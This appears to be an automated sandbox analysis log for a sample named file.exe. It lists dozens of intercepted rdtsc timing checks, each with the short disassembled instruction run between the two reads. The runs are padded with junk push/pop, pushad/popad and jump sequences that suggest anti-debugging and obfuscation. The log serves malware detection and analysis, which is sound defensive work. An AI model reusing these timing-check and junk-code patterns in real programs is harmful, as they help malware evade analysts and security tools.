Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED81C3 second address: ED81E2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F8854FAEB91h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED81E2 second address: ED81E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED81E6 second address: ED8219 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB93h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F8854FAEB8Fh 0x00000013 push edi 0x00000014 pop edi 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED84FB second address: ED851F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8854FD8856h 0x00000008 jmp 00007F8854FD8866h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED86FA second address: ED8705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED8705 second address: ED870F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8854FD8856h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC4FC second address: EDC514 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F8854FAEB8Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC514 second address: EDC51C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC944 second address: EDC948 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE61A second address: EDE629 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jno 00007F8854FD8856h 0x00000009 pop edx 0x0000000a push ebx 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5B4C second address: EE5B53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5B53 second address: EE5B6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push edx 0x0000000a jmp 00007F8854FD885Bh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5E43 second address: EE5E57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB90h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5E57 second address: EE5E77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F8854FD8856h 0x0000000a jmp 00007F8854FD8866h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6430 second address: EE6434 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6434 second address: EE6455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8854FD8868h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8404A second address: E84052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE69C9 second address: EE69D0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE69D0 second address: EE69DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6C33 second address: EE6C42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6C42 second address: EE6C57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8854FAEB91h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE71F5 second address: EE7212 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD8869h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE7212 second address: EE7217 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEC25F second address: EEC26F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 jo 00007F8854FD8856h 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEC26F second address: EEC27B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEC27B second address: EEC2BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8854FD8867h 0x00000009 jmp 00007F8854FD8864h 0x0000000e popad 0x0000000f jmp 00007F8854FD885Eh 0x00000014 pushad 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEFF25 second address: EEFF31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8854FAEB86h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEFF31 second address: EEFF53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 jl 00007F8854FD887Ch 0x0000000c jmp 00007F8854FD8862h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEFF53 second address: EEFF57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF555 second address: EEF55A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF55A second address: EEF55F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF694 second address: EEF6A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 jp 00007F8854FD8856h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF833 second address: EEF83F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF83F second address: EEF843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF843 second address: EEF85B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB92h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7661 second address: EF7669 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7669 second address: EF7679 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB8Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF79F6 second address: EF79FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF79FC second address: EF7A1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB8Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8854FAEB94h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7A1E second address: EF7A24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7A24 second address: EF7A28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF907F second address: EF9083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF9083 second address: EF908D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8854FAEB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF908D second address: EF909E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8854FD885Ah 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF909E second address: EF90E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jne 00007F8854FAEB86h 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007F8854FAEB8Eh 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 pushad 0x0000001a jo 00007F8854FAEB86h 0x00000020 jo 00007F8854FAEB86h 0x00000026 push ebx 0x00000027 pop ebx 0x00000028 popad 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F8854FAEB92h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF90E4 second address: EF90ED instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF90ED second address: EF90F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6DFB second address: EF6DFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6DFF second address: EF6E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E35EE2 second address: E35EF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8854FD885Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E35EF6 second address: E35EFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F01672 second address: F0168B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD885Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0168B second address: F0168F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12749 second address: F1274E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17182 second address: F1719F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F8854FAEB86h 0x0000000a jmp 00007F8854FAEB93h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F4B7 second address: F1F4C3 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8854FD885Eh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F20DA7 second address: F20DAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F20DAD second address: F20DB9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8854FD8856h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F20DB9 second address: F20DC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8854FAEB86h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F279AC second address: F279B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F279B0 second address: F279BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F27E19 second address: F27E1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F28200 second address: F2820D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F8854FAEB86h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2820D second address: F2821B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jne 00007F8854FD8856h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2821B second address: F28221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F28DDA second address: F28DDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F28DDE second address: F28DE4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F28DE4 second address: F28DFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F8854FD8858h 0x0000000c push edx 0x0000000d pop edx 0x0000000e jne 00007F8854FD885Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DF0B second address: F2DF15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38AC9 second address: F38ACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38ACF second address: F38ADF instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8854FAEB86h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38ADF second address: F38AE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38AE5 second address: F38AFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB8Ch 0x00000007 jl 00007F8854FAEB86h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38990 second address: F38996 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38996 second address: F3899B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CA43 second address: F4CA4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CA4C second address: F4CA62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8854FAEB8Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C762 second address: F4C77B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD885Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jng 00007F8854FD8856h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F661EE second address: F661F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F650CF second address: F650D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F650D5 second address: F650DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F650DB second address: F650DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F650DF second address: F65101 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F8854FAEB93h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c jnp 00007F8854FAEB86h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F654C4 second address: F654D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8854FD885Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65642 second address: F65650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8854FAEB86h 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65650 second address: F6565B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8854FD8856h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6565B second address: F65668 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F8854FAEB86h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65907 second address: F65928 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD8868h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65928 second address: F65950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8854FAEB8Ah 0x0000000e jmp 00007F8854FAEB95h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65950 second address: F6595F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8854FD8856h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A259 second address: F6A267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8854FAEB8Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A745 second address: F6A79E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8854FD885Ah 0x00000009 popad 0x0000000a nop 0x0000000b or edx, 29B455ADh 0x00000011 push dword ptr [ebp+12456472h] 0x00000017 push edi 0x00000018 push ebx 0x00000019 mov edx, dword ptr [ebp+122D5AC0h] 0x0000001f pop edx 0x00000020 pop edx 0x00000021 call 00007F8854FD8859h 0x00000026 jmp 00007F8854FD885Ch 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F8854FD885Eh 0x00000032 pop edx 0x00000033 mov eax, dword ptr [esp+04h] 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a js 00007F8854FD8856h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C001 second address: F6C008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C008 second address: F6C015 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F8854FD8856h 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10BD1 second address: 4E10BFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB95h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F8854FAEBE1h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov edx, 1E5E7ACEh 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10BFB second address: 4E10C10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8854FD8861h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10C10 second address: 4E10C2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add eax, ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10C2F second address: 4E10C35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10C35 second address: 4E10C63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax+00000860h] 0x0000000f pushad 0x00000010 mov si, 0FFDh 0x00000014 mov ax, AEF9h 0x00000018 popad 0x00000019 test eax, eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
